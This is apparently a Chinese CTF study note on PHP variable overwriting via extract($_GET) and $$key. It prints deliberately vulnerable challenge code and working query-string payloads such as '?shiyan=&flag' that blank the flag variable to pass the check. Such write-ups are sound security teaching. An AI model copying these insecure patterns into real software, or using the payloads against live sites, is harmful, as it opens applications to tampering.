php_bugs学习 01 extract变量覆盖
php_bugs学习 01 extract变量覆盖
来源: https://github.com/bowu678/php_bugs
参考:https://www.cnblogs.com/-mo-/p/11652926.html
ps:由于一些我不太清楚的原因,导致感觉GitHub项目里面少了一些东西?比如数据库。。。还有题目感觉不太一样?
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
目的:达成$shiyan==$content
考点:extract的变量覆盖
想法:
?shiyan=1&content=1
但是失败了
查看官方文档
这么看来我构造的应该是格式不对
在看一个例子
默认情况下extract_rules为EXTR_OVERWRITE
也就是说会直接覆盖原本的变量
同时注意一下代码中的trim
由于flag的数值未知,所以我们需要通过extrat使得flag的值(也就是content)与我们可控的shiyan数值相等
so,flag只能上传空值,那么$shiyan也上传为空值即可
payload:
?shiyan=
?shiyan=&flag
?shiyan=&content
这里的=&
就相当于取得别名(就是这两个玩意都同时被赋值为空了),数据地址均为一致的
这些都可以保证flag的数值为空
$$变量覆盖
提交参数chs,则可覆盖变量"$chs"的值。$key为chs时,$$key就变成$chs
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value){
$$key = $chs->Convert($value);
}
unset($chs);
}
关于变量覆盖具体可以参考这篇文章:
变量覆盖
这道题可以这么改一下更贴近ctf
源码:
<?php
$flag='wdl8jH0kbr4';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo 'ctf{you_win_it}';
}
else
{
echo 'Oh.no';
}
}
?>
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo 'ctf{xxx}';
}
else
{
echo ‘Oh.no';
}
}
A lion doesn't concern himself with the opinions of a sheep.